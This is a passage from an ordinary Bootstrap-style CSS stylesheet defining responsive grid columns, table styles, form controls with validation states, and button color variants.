100%;\n }\n .col-md-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-md-1 {\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-md-2 {\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-md-3 {\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-md-4 {\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-md-5 {\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-md-6 {\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-md-7 {\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-md-8 {\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-md-9 {\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-md-10 {\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-md-11 {\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-md-12 {\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-md-first {\n order: -1;\n }\n .order-md-last {\n order: 13;\n }\n .order-md-0 {\n order: 0;\n }\n .order-md-1 {\n order: 1;\n }\n .order-md-2 {\n order: 2;\n }\n .order-md-3 {\n order: 3;\n }\n .order-md-4 {\n order: 4;\n }\n .order-md-5 {\n order: 5;\n }\n .order-md-6 {\n order: 6;\n }\n .order-md-7 {\n order: 7;\n }\n .order-md-8 {\n order: 8;\n }\n .order-md-9 {\n order: 9;\n }\n .order-md-10 {\n order: 10;\n }\n .order-md-11 {\n order: 11;\n }\n .order-md-12 {\n order: 12;\n }\n .offset-md-0 {\n margin-left: 0;\n }\n .offset-md-1 {\n margin-left: 8.333333%;\n }\n .offset-md-2 {\n margin-left: 16.666667%;\n }\n .offset-md-3 {\n margin-left: 25%;\n }\n .offset-md-4 {\n margin-left: 33.333333%;\n }\n .offset-md-5 {\n margin-left: 41.666667%;\n }\n .offset-md-6 {\n margin-left: 50%;\n }\n .offset-md-7 {\n margin-left: 58.333333%;\n }\n .offset-md-8 {\n margin-left: 66.666667%;\n }\n .offset-md-9 {\n margin-left: 75%;\n }\n .offset-md-10 {\n margin-left: 83.333333%;\n }\n .offset-md-11 {\n margin-left: 91.666667%;\n }\n}\n\n@media (min-width: 992px) {\n .col-lg {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n }\n .col-lg-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-lg-1 {\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-lg-2 {\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-lg-3 {\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-lg-4 {\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-lg-5 {\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-lg-6 {\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-lg-7 {\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-lg-8 {\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-lg-9 {\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-lg-10 {\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-lg-11 {\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-lg-12 {\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-lg-first {\n order: -1;\n }\n .order-lg-last {\n order: 13;\n }\n .order-lg-0 {\n order: 0;\n }\n .order-lg-1 {\n order: 1;\n }\n .order-lg-2 {\n order: 2;\n }\n .order-lg-3 {\n order: 3;\n }\n .order-lg-4 {\n order: 4;\n }\n .order-lg-5 {\n order: 5;\n }\n .order-lg-6 {\n order: 6;\n }\n .order-lg-7 {\n order: 7;\n }\n .order-lg-8 {\n order: 8;\n }\n .order-lg-9 {\n order: 9;\n }\n .order-lg-10 {\n order: 10;\n }\n .order-lg-11 {\n order: 11;\n }\n .order-lg-12 {\n order: 12;\n }\n .offset-lg-0 {\n margin-left: 0;\n }\n .offset-lg-1 {\n margin-left: 8.333333%;\n }\n .offset-lg-2 {\n margin-left: 16.666667%;\n }\n .offset-lg-3 {\n margin-left: 25%;\n }\n .offset-lg-4 {\n margin-left: 33.333333%;\n }\n .offset-lg-5 {\n margin-left: 41.666667%;\n }\n .offset-lg-6 {\n margin-left: 50%;\n }\n .offset-lg-7 {\n margin-left: 58.333333%;\n }\n .offset-lg-8 {\n margin-left: 66.666667%;\n }\n .offset-lg-9 {\n margin-left: 75%;\n }\n .offset-lg-10 {\n margin-left: 83.333333%;\n }\n .offset-lg-11 {\n margin-left: 91.666667%;\n }\n}\n\n@media (min-width: 1200px) {\n .col-xl {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n }\n .col-xl-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-xl-1 {\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-xl-2 {\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-xl-3 {\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-xl-4 {\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-xl-5 {\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-xl-6 {\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-xl-7 {\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-xl-8 {\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-xl-9 {\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-xl-10 {\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-xl-11 {\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-xl-12 {\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-xl-first {\n order: -1;\n }\n .order-xl-last {\n order: 13;\n }\n .order-xl-0 {\n order: 0;\n }\n .order-xl-1 {\n order: 1;\n }\n .order-xl-2 {\n order: 2;\n }\n .order-xl-3 {\n order: 3;\n }\n .order-xl-4 {\n order: 4;\n }\n .order-xl-5 {\n order: 5;\n }\n .order-xl-6 {\n order: 6;\n }\n .order-xl-7 {\n order: 7;\n }\n .order-xl-8 {\n order: 8;\n }\n .order-xl-9 {\n order: 9;\n }\n .order-xl-10 {\n order: 10;\n }\n .order-xl-11 {\n order: 11;\n }\n .order-xl-12 {\n order: 12;\n }\n .offset-xl-0 {\n margin-left: 0;\n }\n .offset-xl-1 {\n margin-left: 8.333333%;\n }\n .offset-xl-2 {\n margin-left: 16.666667%;\n }\n .offset-xl-3 {\n margin-left: 25%;\n }\n .offset-xl-4 {\n margin-left: 33.333333%;\n }\n .offset-xl-5 {\n margin-left: 41.666667%;\n }\n .offset-xl-6 {\n margin-left: 50%;\n }\n .offset-xl-7 {\n margin-left: 58.333333%;\n }\n .offset-xl-8 {\n margin-left: 66.666667%;\n }\n .offset-xl-9 {\n margin-left: 75%;\n }\n .offset-xl-10 {\n margin-left: 83.333333%;\n }\n .offset-xl-11 {\n margin-left: 91.666667%;\n }\n}\n\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: 1rem;\n background-color: transparent;\n}\n\n.table th,\n.table td {\n padding: 0.75rem;\n vertical-align: top;\n border-top: 1px solid #dee2e6;\n}\n\n.table thead th {\n vertical-align: bottom;\n border-bottom: 2px solid #dee2e6;\n}\n\n.table tbody + tbody {\n border-top: 2px solid #dee2e6;\n}\n\n.table .table {\n background-color: #fff;\n}\n\n.table-sm th,\n.table-sm td {\n padding: 0.3rem;\n}\n\n.table-bordered {\n border: 1px solid #dee2e6;\n}\n\n.table-bordered th,\n.table-bordered td {\n border: 1px solid #dee2e6;\n}\n\n.table-bordered thead th,\n.table-bordered thead td {\n border-bottom-width: 2px;\n}\n\n.table-borderless th,\n.table-borderless td,\n.table-borderless thead th,\n.table-borderless tbody + tbody {\n border: 0;\n}\n\n.table-striped tbody tr:nth-of-type(odd) {\n background-color: rgba(0, 0, 0, 0.05);\n}\n\n.table-hover tbody tr:hover {\n background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-primary,\n.table-primary > th,\n.table-primary > td {\n background-color: #b8daff;\n}\n\n.table-hover .table-primary:hover {\n background-color: #9fcdff;\n}\n\n.table-hover .table-primary:hover > td,\n.table-hover .table-primary:hover > th {\n background-color: #9fcdff;\n}\n\n.table-secondary,\n.table-secondary > th,\n.table-secondary > td {\n background-color: #d6d8db;\n}\n\n.table-hover .table-secondary:hover {\n background-color: #c8cbcf;\n}\n\n.table-hover .table-secondary:hover > td,\n.table-hover .table-secondary:hover > th {\n background-color: #c8cbcf;\n}\n\n.table-success,\n.table-success > th,\n.table-success > td {\n background-color: #c3e6cb;\n}\n\n.table-hover .table-success:hover {\n background-color: #b1dfbb;\n}\n\n.table-hover .table-success:hover > td,\n.table-hover .table-success:hover > th {\n background-color: #b1dfbb;\n}\n\n.table-info,\n.table-info > th,\n.table-info > td {\n background-color: #bee5eb;\n}\n\n.table-hover .table-info:hover {\n background-color: #abdde5;\n}\n\n.table-hover .table-info:hover > td,\n.table-hover .table-info:hover > th {\n background-color: #abdde5;\n}\n\n.table-warning,\n.table-warning > th,\n.table-warning > td {\n background-color: #ffeeba;\n}\n\n.table-hover .table-warning:hover {\n background-color: #ffe8a1;\n}\n\n.table-hover .table-warning:hover > td,\n.table-hover .table-warning:hover > th {\n background-color: #ffe8a1;\n}\n\n.table-danger,\n.table-danger > th,\n.table-danger > td {\n background-color: #f5c6cb;\n}\n\n.table-hover .table-danger:hover {\n background-color: #f1b0b7;\n}\n\n.table-hover .table-danger:hover > td,\n.table-hover .table-danger:hover > th {\n background-color: #f1b0b7;\n}\n\n.table-light,\n.table-light > th,\n.table-light > td {\n background-color: #fdfdfe;\n}\n\n.table-hover .table-light:hover {\n background-color: #ececf6;\n}\n\n.table-hover .table-light:hover > td,\n.table-hover .table-light:hover > th {\n background-color: #ececf6;\n}\n\n.table-dark,\n.table-dark > th,\n.table-dark > td {\n background-color: #c6c8ca;\n}\n\n.table-hover .table-dark:hover {\n background-color: #b9bbbe;\n}\n\n.table-hover .table-dark:hover > td,\n.table-hover .table-dark:hover > th {\n background-color: #b9bbbe;\n}\n\n.table-active,\n.table-active > th,\n.table-active > td {\n background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-hover .table-active:hover {\n background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-hover .table-active:hover > td,\n.table-hover .table-active:hover > th {\n background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table .thead-dark th {\n color: #fff;\n background-color: #212529;\n border-color: #32383e;\n}\n\n.table .thead-light th {\n color: #495057;\n background-color: #e9ecef;\n border-color: #dee2e6;\n}\n\n.table-dark {\n color: #fff;\n background-color: #212529;\n}\n\n.table-dark th,\n.table-dark td,\n.table-dark thead th {\n border-color: #32383e;\n}\n\n.table-dark.table-bordered {\n border: 0;\n}\n\n.table-dark.table-striped tbody tr:nth-of-type(odd) {\n background-color: rgba(255, 255, 255, 0.05);\n}\n\n.table-dark.table-hover tbody tr:hover {\n background-color: rgba(255, 255, 255, 0.075);\n}\n\n@media (max-width: 575.98px) {\n .table-responsive-sm {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n }\n .table-responsive-sm > .table-bordered {\n border: 0;\n }\n}\n\n@media (max-width: 767.98px) {\n .table-responsive-md {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n }\n .table-responsive-md > .table-bordered {\n border: 0;\n }\n}\n\n@media (max-width: 991.98px) {\n .table-responsive-lg {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n }\n .table-responsive-lg > .table-bordered {\n border: 0;\n }\n}\n\n@media (max-width: 1199.98px) {\n .table-responsive-xl {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n }\n .table-responsive-xl > .table-bordered {\n border: 0;\n }\n}\n\n.table-responsive {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n}\n\n.table-responsive > .table-bordered {\n border: 0;\n}\n\n.form-control {\n display: block;\n width: 100%;\n padding: 0.375rem 0.75rem;\n font-size: 1rem;\n line-height: 1.5;\n color: #495057;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid #ced4da;\n border-radius: 0.25rem;\n transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .form-control {\n transition: none;\n }\n}\n\n.form-control::-ms-expand {\n background-color: transparent;\n border: 0;\n}\n\n.form-control:focus {\n color: #495057;\n background-color: #fff;\n border-color: #80bdff;\n outline: 0;\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.form-control::placeholder {\n color: #6c757d;\n opacity: 1;\n}\n\n.form-control:disabled, .form-control[readonly] {\n background-color: #e9ecef;\n opacity: 1;\n}\n\nselect.form-control:not([size]):not([multiple]) {\n height: calc(2.25rem + 2px);\n}\n\nselect.form-control:focus::-ms-value {\n color: #495057;\n background-color: #fff;\n}\n\n.form-control-file,\n.form-control-range {\n display: block;\n width: 100%;\n}\n\n.col-form-label {\n padding-top: calc(0.375rem + 1px);\n padding-bottom: calc(0.375rem + 1px);\n margin-bottom: 0;\n font-size: inherit;\n line-height: 1.5;\n}\n\n.col-form-label-lg {\n padding-top: calc(0.5rem + 1px);\n padding-bottom: calc(0.5rem + 1px);\n font-size: 1.25rem;\n line-height: 1.5;\n}\n\n.col-form-label-sm {\n padding-top: calc(0.25rem + 1px);\n padding-bottom: calc(0.25rem + 1px);\n font-size: 0.875rem;\n line-height: 1.5;\n}\n\n.form-control-plaintext {\n display: block;\n width: 100%;\n padding-top: 0.375rem;\n padding-bottom: 0.375rem;\n margin-bottom: 0;\n line-height: 1.5;\n color: #212529;\n background-color: transparent;\n border: solid transparent;\n border-width: 1px 0;\n}\n\n.form-control-plaintext.form-control-sm, .input-group-sm > .form-control-plaintext.form-control,\n.input-group-sm > .input-group-prepend > .form-control-plaintext.input-group-text,\n.input-group-sm > .input-group-append > .form-control-plaintext.input-group-text,\n.input-group-sm > .input-group-prepend > .form-control-plaintext.btn,\n.input-group-sm > .input-group-append > .form-control-plaintext.btn, .form-control-plaintext.form-control-lg, .input-group-lg > .form-control-plaintext.form-control,\n.input-group-lg > .input-group-prepend > .form-control-plaintext.input-group-text,\n.input-group-lg > .input-group-append > .form-control-plaintext.input-group-text,\n.input-group-lg > .input-group-prepend > .form-control-plaintext.btn,\n.input-group-lg > .input-group-append > .form-control-plaintext.btn {\n padding-right: 0;\n padding-left: 0;\n}\n\n.form-control-sm, .input-group-sm > .form-control,\n.input-group-sm > .input-group-prepend > .input-group-text,\n.input-group-sm > .input-group-append > .input-group-text,\n.input-group-sm > .input-group-prepend > .btn,\n.input-group-sm > .input-group-append > .btn {\n padding: 0.25rem 0.5rem;\n font-size: 0.875rem;\n line-height: 1.5;\n border-radius: 0.2rem;\n}\n\nselect.form-control-sm:not([size]):not([multiple]), .input-group-sm > select.form-control:not([size]):not([multiple]),\n.input-group-sm > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),\n.input-group-sm > .input-group-append > select.input-group-text:not([size]):not([multiple]),\n.input-group-sm > .input-group-prepend > select.btn:not([size]):not([multiple]),\n.input-group-sm > .input-group-append > select.btn:not([size]):not([multiple]) {\n height: calc(1.8125rem + 2px);\n}\n\n.form-control-lg, .input-group-lg > .form-control,\n.input-group-lg > .input-group-prepend > .input-group-text,\n.input-group-lg > .input-group-append > .input-group-text,\n.input-group-lg > .input-group-prepend > .btn,\n.input-group-lg > .input-group-append > .btn {\n padding: 0.5rem 1rem;\n font-size: 1.25rem;\n line-height: 1.5;\n border-radius: 0.3rem;\n}\n\nselect.form-control-lg:not([size]):not([multiple]), .input-group-lg > select.form-control:not([size]):not([multiple]),\n.input-group-lg > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),\n.input-group-lg > .input-group-append > select.input-group-text:not([size]):not([multiple]),\n.input-group-lg > .input-group-prepend > select.btn:not([size]):not([multiple]),\n.input-group-lg > .input-group-append > select.btn:not([size]):not([multiple]) {\n height: calc(2.875rem + 2px);\n}\n\n.form-group {\n margin-bottom: 1rem;\n}\n\n.form-text {\n display: block;\n margin-top: 0.25rem;\n}\n\n.form-row {\n display: flex;\n flex-wrap: wrap;\n margin-right: -5px;\n margin-left: -5px;\n}\n\n.form-row > .col,\n.form-row > [class*=\"col-\"] {\n padding-right: 5px;\n padding-left: 5px;\n}\n\n.form-check {\n position: relative;\n display: block;\n padding-left: 1.25rem;\n}\n\n.form-check-input {\n position: absolute;\n margin-top: 0.3rem;\n margin-left: -1.25rem;\n}\n\n.form-check-input:disabled ~ .form-check-label {\n color: #6c757d;\n}\n\n.form-check-label {\n margin-bottom: 0;\n}\n\n.form-check-inline {\n display: inline-flex;\n align-items: center;\n padding-left: 0;\n margin-right: 0.75rem;\n}\n\n.form-check-inline .form-check-input {\n position: static;\n margin-top: 0;\n margin-right: 0.3125rem;\n margin-left: 0;\n}\n\n.valid-feedback {\n display: none;\n width: 100%;\n margin-top: 0.25rem;\n font-size: 80%;\n color: #28a745;\n}\n\n.valid-tooltip {\n position: absolute;\n top: 100%;\n z-index: 5;\n display: none;\n max-width: 100%;\n padding: .5rem;\n margin-top: .1rem;\n font-size: .875rem;\n line-height: 1;\n color: #fff;\n background-color: rgba(40, 167, 69, 0.8);\n border-radius: .2rem;\n}\n\n.was-validated .form-control:valid, .form-control.is-valid, .was-validated\n.custom-select:valid,\n.custom-select.is-valid {\n border-color: #28a745;\n}\n\n.was-validated .form-control:valid:focus, .form-control.is-valid:focus, .was-validated\n.custom-select:valid:focus,\n.custom-select.is-valid:focus {\n border-color: #28a745;\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .form-control:valid ~ .valid-feedback,\n.was-validated .form-control:valid ~ .valid-tooltip, .form-control.is-valid ~ .valid-feedback,\n.form-control.is-valid ~ .valid-tooltip, .was-validated\n.custom-select:valid ~ .valid-feedback,\n.was-validated\n.custom-select:valid ~ .valid-tooltip,\n.custom-select.is-valid ~ .valid-feedback,\n.custom-select.is-valid ~ .valid-tooltip {\n display: block;\n}\n\n.was-validated .form-check-input:valid ~ .form-check-label, .form-check-input.is-valid ~ .form-check-label {\n color: #28a745;\n}\n\n.was-validated .form-check-input:valid ~ .valid-feedback,\n.was-validated .form-check-input:valid ~ .valid-tooltip, .form-check-input.is-valid ~ .valid-feedback,\n.form-check-input.is-valid ~ .valid-tooltip {\n display: block;\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-label, .custom-control-input.is-valid ~ .custom-control-label {\n color: #28a745;\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-label::before, .custom-control-input.is-valid ~ .custom-control-label::before {\n background-color: #71dd8a;\n}\n\n.was-validated .custom-control-input:valid ~ .valid-feedback,\n.was-validated .custom-control-input:valid ~ .valid-tooltip, .custom-control-input.is-valid ~ .valid-feedback,\n.custom-control-input.is-valid ~ .valid-tooltip {\n display: block;\n}\n\n.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before, .custom-control-input.is-valid:checked ~ .custom-control-label::before {\n background-color: #34ce57;\n}\n\n.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before, .custom-control-input.is-valid:focus ~ .custom-control-label::before {\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-label, .custom-file-input.is-valid ~ .custom-file-label {\n border-color: #28a745;\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-label::before, .custom-file-input.is-valid ~ .custom-file-label::before {\n border-color: inherit;\n}\n\n.was-validated .custom-file-input:valid ~ .valid-feedback,\n.was-validated .custom-file-input:valid ~ .valid-tooltip, .custom-file-input.is-valid ~ .valid-feedback,\n.custom-file-input.is-valid ~ .valid-tooltip {\n display: block;\n}\n\n.was-validated .custom-file-input:valid:focus ~ .custom-file-label, .custom-file-input.is-valid:focus ~ .custom-file-label {\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.invalid-feedback {\n display: none;\n width: 100%;\n margin-top: 0.25rem;\n font-size: 80%;\n color: #dc3545;\n}\n\n.invalid-tooltip {\n position: absolute;\n top: 100%;\n z-index: 5;\n display: none;\n max-width: 100%;\n padding: .5rem;\n margin-top: .1rem;\n font-size: .875rem;\n line-height: 1;\n color: #fff;\n background-color: rgba(220, 53, 69, 0.8);\n border-radius: .2rem;\n}\n\n.was-validated .form-control:invalid, .form-control.is-invalid, .was-validated\n.custom-select:invalid,\n.custom-select.is-invalid {\n border-color: #dc3545;\n}\n\n.was-validated .form-control:invalid:focus, .form-control.is-invalid:focus, .was-validated\n.custom-select:invalid:focus,\n.custom-select.is-invalid:focus {\n border-color: #dc3545;\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .form-control:invalid ~ .invalid-feedback,\n.was-validated .form-control:invalid ~ .invalid-tooltip, .form-control.is-invalid ~ .invalid-feedback,\n.form-control.is-invalid ~ .invalid-tooltip, .was-validated\n.custom-select:invalid ~ .invalid-feedback,\n.was-validated\n.custom-select:invalid ~ .invalid-tooltip,\n.custom-select.is-invalid ~ .invalid-feedback,\n.custom-select.is-invalid ~ .invalid-tooltip {\n display: block;\n}\n\n.was-validated .form-check-input:invalid ~ .form-check-label, .form-check-input.is-invalid ~ .form-check-label {\n color: #dc3545;\n}\n\n.was-validated .form-check-input:invalid ~ .invalid-feedback,\n.was-validated .form-check-input:invalid ~ .invalid-tooltip, .form-check-input.is-invalid ~ .invalid-feedback,\n.form-check-input.is-invalid ~ .invalid-tooltip {\n display: block;\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-label, .custom-control-input.is-invalid ~ .custom-control-label {\n color: #dc3545;\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-label::before, .custom-control-input.is-invalid ~ .custom-control-label::before {\n background-color: #efa2a9;\n}\n\n.was-validated .custom-control-input:invalid ~ .invalid-feedback,\n.was-validated .custom-control-input:invalid ~ .invalid-tooltip, .custom-control-input.is-invalid ~ .invalid-feedback,\n.custom-control-input.is-invalid ~ .invalid-tooltip {\n display: block;\n}\n\n.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before, .custom-control-input.is-invalid:checked ~ .custom-control-label::before {\n background-color: #e4606d;\n}\n\n.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before, .custom-control-input.is-invalid:focus ~ .custom-control-label::before {\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-label, .custom-file-input.is-invalid ~ .custom-file-label {\n border-color: #dc3545;\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-label::before, .custom-file-input.is-invalid ~ .custom-file-label::before {\n border-color: inherit;\n}\n\n.was-validated .custom-file-input:invalid ~ .invalid-feedback,\n.was-validated .custom-file-input:invalid ~ .invalid-tooltip, .custom-file-input.is-invalid ~ .invalid-feedback,\n.custom-file-input.is-invalid ~ .invalid-tooltip {\n display: block;\n}\n\n.was-validated .custom-file-input:invalid:focus ~ .custom-file-label, .custom-file-input.is-invalid:focus ~ .custom-file-label {\n box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.form-inline {\n display: flex;\n flex-flow: row wrap;\n align-items: center;\n}\n\n.form-inline .form-check {\n width: 100%;\n}\n\n@media (min-width: 576px) {\n .form-inline label {\n display: flex;\n align-items: center;\n justify-content: center;\n margin-bottom: 0;\n }\n .form-inline .form-group {\n display: flex;\n flex: 0 0 auto;\n flex-flow: row wrap;\n align-items: center;\n margin-bottom: 0;\n }\n .form-inline .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .form-inline .form-control-plaintext {\n display: inline-block;\n }\n .form-inline .input-group,\n .form-inline .custom-select {\n width: auto;\n }\n .form-inline .form-check {\n display: flex;\n align-items: center;\n justify-content: center;\n width: auto;\n padding-left: 0;\n }\n .form-inline .form-check-input {\n position: relative;\n margin-top: 0;\n margin-right: 0.25rem;\n margin-left: 0;\n }\n .form-inline .custom-control {\n align-items: center;\n justify-content: center;\n }\n .form-inline .custom-control-label {\n margin-bottom: 0;\n }\n}\n\n.btn {\n display: inline-block;\n font-weight: 400;\n text-align: center;\n white-space: nowrap;\n vertical-align: middle;\n user-select: none;\n border: 1px solid transparent;\n padding: 0.375rem 0.75rem;\n font-size: 1rem;\n line-height: 1.5;\n border-radius: 0.25rem;\n transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .btn {\n transition: none;\n }\n}\n\n.btn:hover, .btn:focus {\n text-decoration: none;\n}\n\n.btn:focus, .btn.focus {\n outline: 0;\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.btn.disabled, .btn:disabled {\n opacity: 0.65;\n}\n\n.btn:not(:disabled):not(.disabled) {\n cursor: pointer;\n}\n\n.btn:not(:disabled):not(.disabled):active, .btn:not(:disabled):not(.disabled).active {\n background-image: none;\n}\n\na.btn.disabled,\nfieldset:disabled a.btn {\n pointer-events: none;\n}\n\n.btn-primary {\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.btn-primary:hover {\n color: #fff;\n background-color: #0069d9;\n border-color: #0062cc;\n}\n\n.btn-primary:focus, .btn-primary.focus {\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-primary.disabled, .btn-primary:disabled {\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.btn-primary:not(:disabled):not(.disabled):active, .btn-primary:not(:disabled):not(.disabled).active,\n.show > .btn-primary.dropdown-toggle {\n color: #fff;\n background-color: #0062cc;\n border-color: #005cbf;\n}\n\n.btn-primary:not(:disabled):not(.disabled):active:focus, .btn-primary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-primary.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-secondary {\n color: #fff;\n background-color: #6c757d;\n border-color: #6c757d;\n}\n\n.btn-secondary:hover {\n color: #fff;\n background-color: #5a6268;\n border-color: #545b62;\n}\n\n.btn-secondary:focus, .btn-secondary.focus {\n box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-secondary.disabled, .btn-secondary:disabled {\n color: #fff;\n background-color: #6c757d;\n border-color: #6c757d;\n}\n\n.btn-secondary:not(:disabled):not(.disabled):active, .btn-secondary:not(:disabled):not(.disabled).active,\n.show > .btn-secondary.dropdown-toggle {\n color: #fff;\n background-color: #545b62;\n border-color: #4e555b;\n}\n\n.btn-secondary:not(:disabled):not(.disabled):active:focus, .btn-secondary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-secondary.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-success {\n color: #fff;\n background-color: #28a745;\n border-color: #28a745;\n}\n\n.btn-success:hover {\n color: #fff;\n background-color: #218838;\n border-color: #1e7e34;\n}\n\n.btn-success:focus, .btn-success.focus {\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-success.disabled, .btn-success:disabled {\n color: #fff;\n background-color: #28a745;\n border-color: #28a745;\n}\n\n.btn-success:not(:disabled):not(.disabled):active, .btn-success:not(:disabled):not(.disabled).active,\n.show > .btn-success.dropdown-toggle {\n color: #fff;\n background-color: #1e7e34;\n border-color: #1c7430;\n}\n\n.btn-success:not(:disabled):not(.disabled):active:focus, .btn-success:not(:disabled):not(.disabled).active:focus,\n.show > .btn-success.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-info {\n color: #fff;\n background-color: #17a2b8;\n border-color: #17a2b8;\n}\n\n.btn-info:hover {\n color: #fff;\n background-color: #138496;\n border-color: #117a8b;\n}\n\n.btn-info:focus, .btn-info.focus {\n box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-info.disabled, .btn-info:disabled {\n color: #fff;\n background-color: #17a2b8;\n border-color: #17a2b8;\n}\n\n.btn-info:not(:disabled):not(.disabled):active, .btn-info:not(:disabled):not(.disabled).active,\n.show > .btn-info.dropdown-toggle {\n color: #fff;\n background-color: #117a8b;\n border-color: #10707f;\n}\n\n.btn-info:not(:disabled):not(.disabled):active:focus, .btn-info:not(:disabled):not(.disabled).active:focus,\n.show > .btn-info.dropdown-toggle:focus {\n box-shadow: 0 0 0 0.2rem rgba(23, 162, 184, 0.5);\n}\n\n.btn-warning {\n color: #212529;\n background-color: #ffc107;\n border-color: #ffc107;\n}\n\n.btn-warning:hover {\n color: #212529;\n background-color: #e0a800;\n border-color: #d39e00;\n}\n\n.btn-warning:focus, .btn-warning.focus {\n box-shadow: 0 0 0 0.2rem rgba(255, 193, 7, 